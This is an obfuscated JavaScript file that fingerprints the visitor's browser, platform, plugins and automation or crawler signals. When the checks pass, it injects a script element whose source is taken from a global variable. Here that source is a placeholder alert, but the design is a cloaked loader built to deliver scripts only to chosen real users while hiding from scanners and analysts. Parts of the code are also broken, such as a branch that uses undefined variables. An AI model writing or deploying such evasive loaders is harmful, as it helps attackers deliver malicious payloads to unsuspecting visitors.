// desktop, all

window.globalScriptSrc = 'data:text/javascript,alert(\'work, yes\')';

+function () {
  var open = '', rg = /g/, field, conf, alt = {};

  function run(isReady, isConfig) {
    if (isReady) {
      if (isConfig) {
        console.log(rg);
        counter > 0 && start(Debug.Web, content(Debug)[4], content(GLF)[1]+Debug.body);
      }
    }
  }

  var crypto = function (data, flag) {
    return flag ? data[open.length].toLowerCase() + data.substring(1)
      : data[open.length].toUpperCase() + data.substring(1);
  };


  var Depth = function (data, flag) {
    var res;
    Object.keys(data).forEach(function (el, ind) {
      if (ind === flag) { res = data[el].length;}
    });
    return res;
  };

  var content = function (data, flag) {
    if (flag) {
      var obj = []; alt.field = window;
      for (var param in data) { obj.push(data[param]) }
      return obj;

    } else if (!flag) {
      return Object.keys(data)
    }
  };

  var base, Debug = {
    Data: 'Assembly',
    Web: 'script',
    global: 'rame',
    device: ['Touch', 'name', 'code'],
    body: 'Element',
    security: false,
    kit: 'sidebar'
  }, max = {}, val = navigator;

  var check = function (arg, key) { return arg in key };

  var combinData = function (data, flag) {
    var nData; alt.message = check;
    if (!!flag) {
      alt.cont = content;
      nData = [];
      data.forEach(function (item) {
        nData = nData.concat(item);
      });
    } else if (!flag) {
      nData = data.reduce(function (first, second) {
        Object.keys(second).forEach(function (obj) {
          first[obj] = second[obj];
        });
        return first;
      }, {});
    }
    alt.plugin = combinData;
    return nData;
  };

  var dataPrepare = function (data, key, flag) {
    alt.count = Depth;
    if (flag) {
      var params = [];
      data.forEach(function (param, ind) {
        key.forEach(function (param2, ind2) {
          if (ind === Number(param2)) { params.push(param) }
          else if (ind === ind2) { alt.dataPrepare = dataPrepare }
          field = alt.field;
        })
      });
      return params;
    } else if (!flag) {
      data.forEach(function (param, ind) {
        if (ind === Number(param2)) { params.push(param) }
        else if (ind === ind2) { alt.dataPrepare = dataPrepare }
        field = alt.field;
      });
    }
  };

  var GLF = {
    max: 'Points',
    create: 'version',
    Enabled: true,
    screen: ['cookie', 'java'],
    Media: 'stream',
  }, color = 'information', g;

  var createData = function (data, keys, flag) {
    alt.post = 'client';
    if (flag){
      var items = combinData(data, !flag),
        elements = combinData([content(items, flag), content(items, !flag)], flag);
      return dataPrepare(elements, keys, flag);
    }
  };

  var runData = function (data, keys, flag, volume) {
    if (flag) {
      base = RegExp;
      var items = createData(data, keys, GLF.Enabled);

      var tmp1 = check(items[Depth(Debug, 3)]+items[open.length], field),
        tmp2 = alt.message(items[1], field);

      var tmp3 = check(items[Depth(Debug, 2)], field),
        tmp4 = alt.message(crypto(items[2]), field);

      return tmp1 && tmp2 && tmp3 && !tmp4;
    }
    if (!flag) {
      val = volume[alt.post+color] || val;
      var elements = createData(data, keys, !flag);

      var el1 = check(elements[alt.count(Debug, 2)+1]+elements[1] , volume),
          el2 = alt.message(elements[alt.count(GLF, 1)]+
            elements[4]+elements[Depth(Debug, 3)-1], volume);

      var el3 = check(crypto(elements[alt.count(Debug, 2)+1], GLF.Enabled)+
        elements[6]+elements[Depth(GLF,3)+1]+
        crypto(elements[open.length]), volume);
        max.data = createData;

      return el1 && el2 && el3;
    }
  };

  var rocket = runData([GLF, Debug, {content: 'rect'}], [19,5,11,25,12], !Debug.security),
    kit = runData(
      [GLF, Debug, {open: 'base'}],
      [25,18,12,19,5,24,17,4],
      Debug.security,
      alt.field
    );

  setTimeout (function () {
    isReady = prepearRuning([{form: 'Macwin'}, Debug, GLF], [0,13,21,4,15,3], !open);
  }, 100);

  var stopData = function (data, keys, volume, flag) {
    var items; g = "i";
    if (!volume && !flag) {
      items = max.data(data, keys, !flag);

      var el1 = check(max.pars('de'+items[3]), field),
        el2 = !(val[items[2]+'s'][1] && val[items[2]+'s'][1][items[0][1]].match(items[1]));

      items = el1 && el2;
    } else if (!flag) {
      items = max.data(data, keys, !flag);
      conf = volume[items[0].slice(0, -3)+'u'+items[2]];

      volume = conf[items[0].slice(0, -3)+'u'+items[2]+max.pars(items[0].slice(3)+
        items[2])][crypto(items[1], true)];

      items = alt.message(items.slice(-1).join(), volume) ;
    } else {
      items = createData(data, keys, flag);
      max.pars = crypto;
      var tmp1 = volume[items[5]+crypto(items[2])+crypto('ratio')];

      var tmp2 = check(items.slice(-4).reduce(function (first, second, index) {
        if (index === 1) { first = first+crypto(second) }
        return first;
      }), volume);

      var tmp3 = val[items.slice(-2)[0]+'s'],
        tmp4 = val[items[0][0]+items[3]],
        tmp5 = volume[items[4]][items[9]+items[1].name];

      items = tmp2 && tmp1 && tmp5 && tmp4 && tmp3;
    }
    return items;
  };

  var devRat = stopData(
    [GLF, Debug, alt, {color: 'pixel'}],
    [32,33,28,23,17,3,22,34,19,39],
    field,
    true
  ), altSaf = stopData(
    [GLF, {ment: 'docele', alt: 'Style'}],
    [5,6,12,13],
    alt.field,
    Debug.security
  ), net = stopData([Debug, alt, {bug: "light"}], [29,24,3,14]);

  setTimeout (function () {
    isConfig = prepearRuning({agent: 'user,fire,chro,safa,trid,|'}, [12], !!open);
  }, 100);

  var updateData = function (data, keys, flag) {
    if (!flag) {
      return alt.message(max.data(data, keys, true).toString(), field) ? 4 : rocket ? 1 : 2;
    } else {
      var elements = createData(data, keys, true);

      return typeof (field[crypto.name]) == typeof runData ||
       [val['app'+max.pars(elements[0][2])+crypto(elements[0][1], false)],
        val['app'+max.pars(elements[1])]].join(val[elements[2][1]+
        elements[3]]).match(new base('"', elements[3]));
    }
  };

  var counter = updateData([Debug], [12]),
    crawler = updateData([Debug, GLF, {glf: 'g'}],[3,8,10,22,12],true);

  var start = function(volume, arg, el){
    return conf[arg].appendChild(conf[el](volume)).src =
      alt.field[content(Debug)[2]+max.pars(Debug.Web)+'Src'];
  };
  rg.toString = function () { --counter; return open };

  var insert = function (str, index, value) {
    return str.substr(0, index) + value + str.substr(index);
  }, isReady, isConfig;

  var prepearRuning = function (data, flags, key) {
    var items;
    if (key) {
      items = max.data(data, flags, true);
      return val['plat'+items[3]].match(new base(insert(
        crypto(items[0], true), 3, '|'), g + 'g')
        ) && !val[items[5]+items[2][1]+GLF.max] && !crawler && check(items[4]
        +'GLF'+ Debug.global+'buffer', alt.field);

    } else {
      items = data.agent.split(',');
      var tmp = items[0]+max.pars(Object.keys(data)[0]);

      var elements = [],
        param = ['fox','me','ri','ent','ed'],
        ins;

      items.forEach(function (item, index) {
        param.forEach(function (arg, inx) {
          if (index-1 === inx && inx === 3) { ins = insert(item, 4, arg) }
          else if (index-1 === inx && inx === 4) {
            elements.push(new base(ins+insert(item, 4, arg+'ge'),g));
          } else if (index > 0 && index-1 === inx) {
            elements.push(new base(insert(item, 4, arg),g));
          }
        })
      });

      var res = elements.map(function (el) { return val[tmp].match(el) });
      items = res[0] && rocket || res[1] && kit && devRat || res[2] && altSaf || res[3] && net
    }
    return items;
  };

  setTimeout(function () {
    return run(isReady, isConfig)
  }, 200)
}();